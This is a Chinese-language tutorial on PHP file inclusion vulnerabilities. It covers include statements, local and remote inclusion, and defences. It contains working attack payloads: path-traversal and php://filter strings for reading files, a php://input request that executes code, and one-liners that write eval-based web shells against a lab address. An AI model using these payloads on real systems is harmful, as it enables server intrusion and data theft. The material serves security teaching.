任意文件包含漏洞
漏洞概述
漏洞成因
包含的概念:通常,程序开发人员会把函数方法 ”封装“ 到文件中,这样在需要使用该功能的时候,就可以直接调用(提高代码重用性、减少代码量)。调用文件的过程被称为包含。
造成任意文件包含漏洞是原因:程序开发人员为了代码的灵活性,常常会将包含文件的路径设为变量,来进行动态调用,所以被包含文件的路径客户端会被黑客攻击利用。
文件包含漏洞在PHP的Web应用中居多,在其他脚本程序中较少。
文件包含语句
语句 | 特点 |
---|---|
include() | 多次包含,多次执行; 如果包含失败,脚本产生警告,继续执行 |
include_once() | 多次包含,一次执行; 如果包含失败,脚本产生警告,继续执行 |
require() | 多次包含,多次执行; 如果包含失败,脚本产生错误,结束执行 |
require_once() | 多次包含,一次执行; 如果包含失败,脚本产生错误,结束执行 |
- include:
<?
$fp = "../phpinfo.php";
include($fp);
- include_once:
<?php
$fp = "../phpinfo.php";
include_once($fp);
- require:
<?php
$fp = "../phpinfo.php";
require $fp;
- require_once:
<?php
$fp = "../phpinfo.php";
require_once $fp;
文件包含相关配置
文件包含是PHP的基本功能之一。分为本地文件包含和远程文件包含。
本地文件包含:读取和打开本地文件
远程文件包含:远程加载文件
通过php.ini中的选项进行配置。
allow_url_fopen = On/Off #通过远程方式打开文件
allow_url_include = On/Off #通过远程方式包含文件
动态包含
动态包含可以使包含语句更加的灵活。
$fp = @$_GET['filepath'];
@include $fp;
本地文件包含
本地文件包含(LFI,Local File Include)通过本地路径访问到的文件。
?filepath=../phpinfo.php
远程文件包含
远程文件包含(RFI,Remote File Include)通过远程路径访问到的文件。
?filepath=ftp://192.168.109.101/phpinfo.php
漏洞原理
使用文件包含功能时,有动态包含语句,会产生文件包含漏洞的风险。如果实现动态包含的参数,Web应用没有进行严格的校验,攻击者可以利用被包含文件的路径,进行攻击。
漏洞危害
-
无视文件扩展名读取文件内容
?filepath=./a.jpg
-
无条件解析PHP代码,为图片木马提供出路
?filepath=a_yjh_info.jpg
漏洞攻防
漏洞利用
-
包含图片木马
使用菜刀进行连接
http://192.168.109.100/file-include/file-include.php?filepath=a_yjh_info.jpg
-
读取敏感文件
前提条件:
· 目标文件存在(知道目标文件路径)
· 具有文件的可读权限
具体方法:
#相对路径 ?filepath=../../../../../windows/system32/drivers/etc/hosts #绝对路径 ?filepath=c:/windows/system32/drivers/etc/hosts #使用PHP封装协议 ?filepath=file://c:windows/system32/drivers/etc/hosts
封装协议说明:
语句 说明 file:// 访问本地文件系统 http:// 访问HTTP(s)网站 ftp:// 访问FTP(s)URLs php:// 访问各个输入/输出流 zlib:// 压缩流 data:// 数据(RFC 2397) glob:// 查找匹配的文件路径模式 phar:// php归档 ssh2:// Secure Shell 2 rar:// RAR ogg:// 音频流 expect:// 处理交互式的流 -
读取PHP文件源代码
利用’ php://fileter '读取
?filepath=php://filter/read=convert.base64-encode/resource=[目标文件]
-
执行PHP命令
利用‘ php://input ’执行PHP命令
远程文件包含需要开启
代码示例:
POST /file-include/include.php?filepath=php://input HTTP/1.1
Host: 192.168.109.100
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.5359.125 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 18
<?php phpinfo();?>
-
包含图片马写Shell
条件:
存在文件包含漏洞
菜刀不能直接连接
写shell:
<?php fputs(fopen("shell.php",'w'),'<?=@eval($_REQUEST[777]);phpinfo();?>')?> <?php file_put_contents('shell.php','<?php $eval($_REQUEST[777])?>')?>
-
包含日志
SSH日志、邮件日志、Apache日志、Nginx日志。
漏洞防御
-
尽量少的使用动态包含
-
严格过滤文件路径
-
使用php.ini里的open_baserdir参数来限定文件访问范围
-
将参数allow_url_include设置为OFF